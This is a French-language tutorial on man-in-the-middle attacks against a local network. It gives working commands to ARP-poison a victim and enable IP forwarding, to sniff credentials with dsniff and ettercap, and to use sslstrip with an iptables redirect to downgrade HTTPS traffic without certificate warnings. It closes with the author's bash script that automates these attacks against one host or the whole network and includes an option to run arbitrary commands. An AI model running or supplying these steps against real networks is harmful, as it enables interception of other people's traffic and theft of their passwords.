Man in the Middle

Le MITM est une technique réseau consistant à “sniffer” une connexion réseau pour voir ce qu'il se passe dessus.

Pour cette technique nous aurons besoins des outils suivants :

- Spoofing arp :

      . arpspoof
      . ettercap

- Sniffing :

      . ettercap
         
      . tcpdump
       
      . dsniff
         
      . sslstrip (spécialement pour le https)

Arpspoofing ou arp poisonning est une technique qui permet à l'attaquant de détourner des flux de communications transitant entre une machine cible et une passerelle.

Cette attaque utilise le protocole ARP.

Tout d'abord nous allons faire croire à notre victime que la passerelle a changé d'adresse mac grâce à l'outil arpspoof

arpspoof -r -t  192.168.1.10 192.168.1.1 -i wlan0

L'option : -r sert à empoisonner la cible pour récupérer le trafic entrant et sortant

L'option : -t sert à désigner la cible

192.168.1.10 est l'adresse ip de la victime

192.168.1.1 est l'adresse de la passerelle

wlan0 notre interface réseau

Activez l'ip forwarding sinon votre cible sera déconnectée d'internet

echo 1 > /proc/sys/net/ipv4/ip_forward

A partir de cet instant tout le trafic de la victime transite par votre machine.

Plusieurs outils s'offrent à vous :

- Dsniff va vous afficher uniquement les identifiants des authentifications des protocoles non chiffrés (http , ftp , telnet…)

- Ettercap et tcpdump capturent tous les paquets, suivant les filtres que vous mettrez vous aurez des résultats différents.

Exemple avec Dsniff :

Dsniff -i  interface

Exemple avec Ettercap en ligne de commande :

ettercap -T -M ARP -q /ip_cible/ // -i interface

L'option -T permet d'utiliser Ettercap en ligne de commande

L'option -M signifie MITM avec ARP

L'option -q permet de diminuer la verbosité

Attention si vous utilisez Ettercap assurez vous que les lignes suivantes soit dé-commentées dans le fichier /etc/ettercap/etter.conf

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

L'outil SSLSTRIP : est un outil qui permet de forcer la connexion de la victime à passer de l'HTTPS à l'HTTP si le site le permet.

Contrairement à d'autres outils tels que mitmproxy ou ettercap , sslstrip ne créer pas de faux certificats → pas de message d'erreur pour la victime.

Utilisation :

Il faut tout d'abord créer une règle iptable pour laisser passer le trafic.

Par défaut sslstrip utilise le port 10 000. Nous utiliserons le 15 000.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 15000
sslstrip -w log.txt -a -l 15000 -f

L'option -w permet de logguer toutes les informations dans un fichier

L'option -a permet de logguer tout le traffic

L'option -l permet de choisir le port (dans notre cas 15 000)

L'option -f permet d''afficher le favicone cadenas sur la page de la victime.

Voici un petit outil développé par mes soins pour automatiser ce genre d'action :

echo "#################################"
echo "# Programme de MITM automatique #"
echo "#################################"
echo "Entrez l'interface sur laquel vous voulez faire le MTIM :"
read interface

echo 1 > /proc/sys/net/ipv4/ip_forward

mon_ip=`ifconfig $interface | grep ' inet adr' | cut -d : -f2 | awk '{print $1}'`
passerelle=`route -n | egrep "^0.0.0.0 +[[:digit:].]+ +0.0.0.0" | awk '{print $2}'`

Ps3="Que voulez vous ? "
select choix in \
"Spoofing arp pour tous le monde" \
"Spoofing arp pour une seul personne " \
"Sniffer les mots de passe ettercap"  \
"Sniffer les mots de passe dsniff"  \
"SSLSTRIP" \
"Mon ip " \
"Ma passerelle " \
"Commande systeme " \
"Quitter"
do
   case $REPLY in
   1) echo "Arpspoof pour tous" ; ettercap -T -M ARP -q // // -i $interface >> arp.txt & ;;
   2) echo "Entrez l'ip de la victime "; read ip_victime ;arpspoof -i $interface -r -t $ip_victime $passerelle &;;
   3) ettercap -T -q -i $interface | grep 'http' &;;
   4) dsniff -i $interface -w dpass.txt & ;;
   5) sslstrip -w log.txt -a -l 15000 -f & ;;
   6) echo $mon_ip;;
   7) echo $passerelle;;
   8) echo " Commande systeme :"; read cmd ; $cmd;;
   9) echo "On abandonne ..."
      break ;;
    *) echo "Choix invalide"  ;;
    esac
done